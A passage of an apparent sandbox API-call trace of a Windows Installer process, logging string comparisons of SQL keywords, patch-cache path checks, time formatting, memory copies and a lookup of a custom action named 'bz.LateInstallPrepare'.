(lpString1="INTO", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="SET", lpString2="1") returned 1 [0129.130] lstrcmpiW (lpString1="VALUES", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="IS", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="CREATE", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="DROP", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="ALTER", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="TABLE", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="ADD", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="PRIMARY", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="KEY", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="CHAR", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="CHARACTER", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="VARCHAR", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="LONGCHAR", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="INT", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="INTEGER", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="SHORT", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="LONG", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="OBJECT", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="TEMPORARY", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="HOLD", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="FREE", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="LOCALIZABLE", lpString2="1") returned 1 [0129.131] lstrcmpiW (lpString1="", lpString2="1") returned -1 [0129.131] lstrlenW (lpString="File") returned 4 [0129.131] lstrlenW (lpString="File") returned 4 [0129.131] lstrlenW (lpString="=") returned 1 [0129.132] lstrlenW (lpString="Component") returned 9 [0129.132] lstrlenW (lpString="KeyPath") returned 7 [0129.132] lstrcmpiW (lpString1="AND", lpString2="AND") returned 0 [0129.132] lstrlenW (lpString="Component") returned 9 [0129.132] lstrlenW (lpString="ForceComponentCache") returned 19 [0129.132] lstrlenW (lpString="=") returned 1 [0129.132] lstrcmpiW (lpString1="SELECT", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="FROM", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="AS", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="WHERE", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="NULL", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="OR", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="AND", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="NOT", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="ORDER", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="BY", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="DISTINCT", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="UPDATE", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="DELETE", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="INSERT", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="INTO", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="SET", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="VALUES", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="IS", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="CREATE", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="DROP", lpString2="1") returned 1 [0129.132] lstrcmpiW (lpString1="ALTER", lpString2="1") returned 1 [0129.133] lstrcmpiW (lpString1="TABLE", lpString2="1") returned 1 [0129.133] lstrcmpiW (lpString1="ADD", lpString2="1") returned 1 [0129.133] lstrcmpiW (lpString1="PRIMARY", lpString2="1") returned 1 [0129.133] lstrcmpiW (lpString1="KEY", lpString2="1") returned 1 [0129.133] lstrcmpiW (lpString1="CHAR", lpString2="1") returned 1 [0129.133] lstrcmpiW (lpString1="CHARACTER", lpString2="1") returned 1 [0129.133] lstrcmpiW (lpString1="VARCHAR", lpString2="1") returned 1 [0129.133] lstrlenW (lpString="1") returned 1 [0129.133] lstrlenW (lpString="File") returned 4 [0129.133] lstrlenW (lpString="File") returned 4 [0129.133] lstrlenW (lpString="Component") returned 9 [0129.133] lstrlenW (lpString="Directory_") returned 10 [0129.133] lstrlenW (lpString="File") returned 4 [0129.133] lstrlenW (lpString="FileName") returned 8 [0129.133] lstrlenW (lpString="Component") returned 9 [0129.133] lstrlenW (lpString="ComponentId") returned 11 [0129.133] lstrlenW (lpString="Component") returned 9 [0129.133] lstrlenW (lpString="Component") returned 9 [0129.133] GlobalUnlock (hMem=0xf40238) returned 0 [0129.134] GetSystemWindowsDirectoryW (in: lpBuffer=0x10cddf0, uSize=0x102 | out: lpBuffer="C:\\Windows") returned 0xa [0129.134] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed") returned 41 [0129.134] lstrlenW (lpString="\\") returned 1 [0129.134] UrlIsW (pszUrl="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", UrlIs=0x0) returned 0 [0129.134] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 74 [0129.134] lstrlenW (lpString="\\") returned 1 [0129.134] lstrlenW (lpString="\\\\") returned 2 [0129.134] wcsstr (_Str="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04", _SubStr="\\\\") returned 0x0 [0129.134] lstrlenW (lpString="Windows") returned 7 [0129.134] lstrlenW (lpString="Windows") returned 7 [0129.134] lstrlenW (lpString="Installer") returned 9 [0129.134] lstrlenW (lpString="Installer") returned 9 [0129.134] lstrlenW (lpString="$PatchCache$") returned 12 [0129.134] lstrlenW (lpString="$PatchCache$") returned 12 [0129.134] lstrlenW (lpString="Managed") returned 7 [0129.134] lstrlenW (lpString="Managed") returned 7 [0129.134] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0129.134] lstrlenW (lpString="8F3854CA4966E374BB7723DCCFB99A04") returned 32 [0129.134] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 72 [0129.134] lstrlenW (lpString="\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04") returned 72 [0129.134] lstrlenW (lpString="\\") returned 1 [0129.135] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0129.135] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04" (normalized: "c:\\windows\\installer\\$patchcache$\\managed\\8f3854ca4966e374bb7723dccfb99a04")) returned 0xffffffff [0129.135] lstrlenW (lpString="C:\\Windows\\Installer\\$PatchCache$\\Managed\\8F3854CA4966E374BB7723DCCFB99A04\\") returned 75 [0129.136] GlobalUnlock (hMem=0xf401e8) returned 0 [0129.137] GlobalUnlock (hMem=0xf401f8) returned 0 [0129.137] GlobalUnlock (hMem=0xf40218) returned 0 [0129.137] GlobalUnlock (hMem=0xf40208) returned 0 [0129.137] GlobalUnlock (hMem=0xf40228) returned 0 [0129.137] lstrlenW (lpString="InstallFiles") returned 12 [0129.137] SetLastError (dwErrCode=0xd) [0129.137] SetLastError (dwErrCode=0xd) [0129.137] lstrlenW (lpString="Time") returned 4 [0129.137] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x32, wMilliseconds=0x24c)) [0129.137] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:50") returned 9 [0129.137] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x32, wMilliseconds=0x24c)) [0129.137] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:50") returned 9 [0129.137] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x32, wMilliseconds=0x24c)) [0129.137] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:50") returned 9 [0129.138] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0129.138] memcpy (in: _Dst=0x37b07fa, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x37b07fa) returned 0x37b07fa [0129.138] memcpy (in: _Dst=0x37b080a, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x37b080a) returned 0x37b080a [0129.138] memcpy (in: _Dst=0x37b080e, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x37b080e) returned 0x37b080e [0129.138] SetLastError (dwErrCode=0x0) [0129.138] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0129.138] memcpy (in: _Dst=0x37b080e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x37b080e) returned 0x37b080e [0129.138] memcpy (in: _Dst=0x37b0814, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x37b0814) returned 0x37b0814 [0129.138] memcpy (in: _Dst=0x37b0832, _Src=0x34b110, _Size=0x2 | out: _Dst=0x37b0832) returned 0x37b0832 [0129.138] SetLastError (dwErrCode=0x0) [0129.138] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0129.138] memcpy (in: _Dst=0x37b0832, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x37b0832) returned 0x37b0832 [0129.138] memcpy (in: _Dst=0x37b0838, _Src=0x34b114, _Size=0x2 | out: _Dst=0x37b0838) returned 0x37b0838 [0129.138] GetCurrentThreadId () returned 0xf50 [0129.138] GetCurrentThreadId () returned 0xf50 [0129.138] SetEvent (hEvent=0x170) returned 1 [0129.138] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0129.143] SetLastError (dwErrCode=0xd) [0129.143] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0129.143] SetLastError (dwErrCode=0xd) [0129.144] SetLastError (dwErrCode=0xd) [0129.144] SetLastError (dwErrCode=0xd) [0129.144] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0129.144] SetLastError (dwErrCode=0xd) [0129.144] SetLastError (dwErrCode=0xd) [0129.144] SetLastError (dwErrCode=0xd) [0129.144] lstrcmpiW (lpString1="", lpString2="ALL") returned -1 [0129.144] SetLastError (dwErrCode=0xd) [0129.144] SetLastError (dwErrCode=0xd) [0129.144] lstrlenW (lpString="ActionText") returned 10 [0129.145] lstrcmpW (lpString1="Advertise", lpString2="bz.LateInstallPrepare") returned -1 [0129.145] lstrcmpW (lpString1="AllocateRegistrySpace", lpString2="bz.LateInstallPrepare") returned -1 [0129.145] lstrcmpW (lpString1="AppSearch", lpString2="bz.LateInstallPrepare") returned -1 [0129.145] lstrcmpW (lpString1="BindImage", lpString2="bz.LateInstallPrepare") returned -1 [0129.145] lstrcmpW (lpString1="CCPSearch", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="CostFinalize", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="CostInitialize", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="CreateFolders", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="CreateShortcuts", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="DeleteServices", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="DuplicateFiles", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="FileCost", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="FindRelatedProducts", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="GenerateScript", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="InstallAdminPackage", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="InstallFiles", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="InstallODBC", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="InstallServices", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="InstallSFPCatalogFile", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="InstallValidate", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="LaunchConditions", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="MigrateFeatureStates", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="MoveFiles", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="MsiPublishAssemblies", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="MsiUnpublishAssemblies", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="PatchFiles", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="ProcessComponents", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="PublishComponents", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="PublishFeatures", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="PublishProduct", lpString2="bz.LateInstallPrepare") returned 1 [0129.145] lstrcmpW (lpString1="RegisterClassInfo", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RegisterComPlus", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RegisterExtensionInfo", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RegisterFonts", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RegisterMIMEInfo", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RegisterProduct", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RegisterProgIdInfo", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RegisterTypeLibraries", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RegisterUser", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RemoveDuplicateFiles", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RemoveEnvironmentStrings", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RemoveExistingProducts", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RemoveFiles", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RemoveFolders", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RemoveIniValues", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RemoveODBC", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RemoveRegistryValues", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RemoveShortcuts", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RMCCPSearch", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="Rollback", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="RollbackCleanup", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="SelfRegModules", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="SelfUnregModules", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="SetODBCFolders", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="StartServices", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="StopServices", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="UnmoveFiles", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="UnpublishComponents", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="UnpublishFeatures", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="UnpublishProduct", lpString2="bz.LateInstallPrepare") returned 1 [0129.146] lstrcmpW (lpString1="UnregisterClassInfo", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="UnregisterComPlus", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="UnregisterExtensionInfo", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="UnregisterFonts", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="UnregisterMIMEInfo", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="UnregisterProgIdInfo", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="UnregisterTypeLibraries", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="WriteEnvironmentStrings", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="WriteIniValues", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="WriteRegistryValues", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="ShutdownApplications", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="ConfigureServices", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrcmpW (lpString1="ConfigureServicesUnsupoortedOS", lpString2="bz.LateInstallPrepare") returned 1 [0129.147] lstrlenW (lpString="bz.LateInstallPrepare") returned 21 [0129.147] lstrlenW (lpString="{{") returned 2 [0129.147] lstrlenW (lpString=": }}") returned 4 [0129.147] SetLastError (dwErrCode=0xd) [0129.147] lstrlenW (lpString="Time") returned 4 [0129.147] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x32, wMilliseconds=0x25b)) [0129.147] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:50") returned 9 [0129.147] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x32, wMilliseconds=0x25b)) [0129.147] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:50") returned 9 [0129.147] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x32, wMilliseconds=0x25b)) [0129.147] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:50") returned 9 [0129.148] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0129.148] memcpy (in: _Dst=0x37b07ee, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x37b07ee) returned 0x37b07ee [0129.148] memcpy (in: _Dst=0x37b07fe, _Src=0x2104b8a, _Size=0x4 | out: _Dst=0x37b07fe) returned 0x37b07fe [0129.148] memcpy (in: _Dst=0x37b0802, _Src=0x2104b90, _Size=0x2 | out: _Dst=0x37b0802) returned 0x37b0802 [0129.148] SetLastError (dwErrCode=0x0) [0129.148] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0129.148] memcpy (in: _Dst=0x37b0802, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x37b0802) returned 0x37b0802 [0129.148] memcpy (in: _Dst=0x37b0808, _Src=0x2104b94, _Size=0x4 | out: _Dst=0x37b0808) returned 0x37b0808 [0129.148] memcpy (in: _Dst=0x37b080c, _Src=0x2104b9a, _Size=0x2 | out: _Dst=0x37b080c) returned 0x37b080c [0129.148] SetLastError (dwErrCode=0x0) [0129.148] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0129.148] memcpy (in: _Dst=0x37b080c, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x37b080c) returned 0x37b080c [0129.148] GetCurrentThreadId () returned 0xf50 [0129.148] GetCurrentThreadId () returned 0xf50 [0129.148] SetEvent (hEvent=0x170) returned 1 [0129.148] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0129.149] lstrlenW (lpString="bz.LateInstallPrepare") returned 21 [0129.149] SetLastError (dwErrCode=0xd) [0129.149] SetLastError (dwErrCode=0xd) [0129.149] lstrlenW (lpString="Time") returned 4 [0129.149] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x32, wMilliseconds=0x25b)) [0129.149] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:50") returned 9 [0129.150] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x32, wMilliseconds=0x25b)) [0129.150] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:50") returned 9 [0129.150] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x2f, wSecond=0x32, wMilliseconds=0x25b)) [0129.150] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:47:50") returned 9 [0129.150] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0129.150] memcpy (in: _Dst=0x37b07fa, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x37b07fa) returned 0x37b07fa [0129.150] memcpy (in: _Dst=0x37b080a, _Src=0x376446, _Size=0x4 | out: _Dst=0x37b080a) returned 0x37b080a [0129.150] memcpy (in: _Dst=0x37b080e, _Src=0x37644c, _Size=0x2 | out: _Dst=0x37b080e) returned 0x37b080e [0129.150] SetLastError (dwErrCode=0x0) [0129.150] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0129.150] memcpy (in: _Dst=0x37b080e, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x37b080e) returned 0x37b080e [0129.150] memcpy (in: _Dst=0x37b0814, _Src=0x376450, _Size=0x2 | out: _Dst=0x37b0814) returned 0x37b0814 [0129.150] GetCurrentThreadId () returned 0xf50 [0129.150] GetCurrentThreadId () returned 0xf50 [0129.150] SetEvent (hEvent=0x170) returned 1 [0129.150] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0129.152] lstrlenW (lpString="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = '%s'") returned 104 [0129.152] lstrlenW (lpString="bz.LateInstallPrepare") returned 21 [0129.152] _vsnwprintf (in: _Buffer=0x21c4370, _BufferCount=0x7d, _Format="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = '%s'", _ArgList=0x10ce418 | out: _Buffer="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = 'bz.LateInstallPrepare'") returned 123 [0129.152] GlobalLock (hMem=0xf40228) returned 0x3cc0f0 [0129.152] lstrlenW (lpString="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = 'bz.LateInstallPrepare'") returned 123 [0129.152] lstrlenW (lpString="SELECT `Action`,`Type`,`Source`,`Target`, NULL, `ExtendedType` FROM `CustomAction` WHERE `Action` = 'bz.LateInstallPrepare'") returned 123 [0129.152] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0129.152] lstrcmpiW (lpString1="SELECT", lpString2="NULL") returned 1 [0129.152] lstrcmpiW (lpString1="FROM", lpString2="NULL") returned -1 [0129.152] lstrcmpiW (lpString1="AS", lpString2="NULL") returned -1 [0129.152] lstrcmpiW (lpString1="WHERE", lpString2="NULL") returned 1 [0129.152] lstrcmpiW (lpString1="NULL", lpString2="NULL") returned 0 [0129.152] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0129.152] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0129.152] lstrlenW (lpString="CustomAction") returned 12 [0129.152] IStorage:RemoteOpenStream (in: This=0x2fcb20, pwcsName="䡀䘌䗶䐲䆊䌷䑲", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce060, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0129.152] IStream:Stat (in: This=0x32ef70, pstatstg=0x10cdfc0, grfStatFlag=0x1 | out: pstatstg=0x10cdfc0) returned 0x0 [0129.152] GlobalLock (hMem=0xf40208) returned 0x37b01a0 [0129.152] ISequentialStream:RemoteRead (in: This=0x32ef70, pv=0x5c3008c, cb=0x400, pcbRead=0x5c3048c | out: pv=0x5c3008c*=0xae, pcbRead=0x5c3048c*=0xb4) returned 0x0 [0129.153] memcpy (in: _Dst=0x37b01a4, _Src=0x5c3008c, _Size=0x2 | out: _Dst=0x37b01a4) returned 0x37b01a4 [0129.153] memcpy (in: _Dst=0x37b01bc, _Src=0x5c3008e, _Size=0x2 | out: _Dst=0x37b01bc) returned 0x37b01bc [0129.153] memcpy (in: _Dst=0x37b01d4, _Src=0x5c30090, _Size=0x2 | out: _Dst=0x37b01d4) returned 0x37b01d4 [0129.153] memcpy (in: _Dst=0x37b01ec, _Src=0x5c30092, _Size=0x2 | out: _Dst=0x37b01ec) returned 0x37b01ec [0129.153] memcpy (in: _Dst=0x37b0204, _Src=0x5c30094, _Size=0x2 | out: _Dst=0x37b0204) returned 0x37b0204 [0129.153] memcpy (in: _Dst=0x37b021c, _Src=0x5c30096, _Size=0x2 | out: _Dst=0x37b021c) returned 0x37b021c [0129.153] memcpy (in: _Dst=0x37b0234, _Src=0x5c30098, _Size=0x2 | out: _Dst=0x37b0234) returned 0x37b0234 [0129.153] memcpy (in: _Dst=0x37b024c, _Src=0x5c3009a, _Size=0x2 | out: _Dst=0x37b024c) returned 0x37b024c [0129.153] memcpy (in: _Dst=0x37b0264, _Src=0x5c3009c, _Size=0x2 | out: _Dst=0x37b0264) returned 0x37b0264 [0129.153] memcpy (in: _Dst=0x37b027c, _Src=0x5c3009e, _Size=0x2 | out: _Dst=0x37b027c) returned 0x37b027c [0129.153] memcpy (in: _Dst=0x37b0294, _Src=0x5c300a0, _Size=0x2 | out: _Dst=0x37b0294) returned 0x37b0294 [0129.153] memcpy (in: 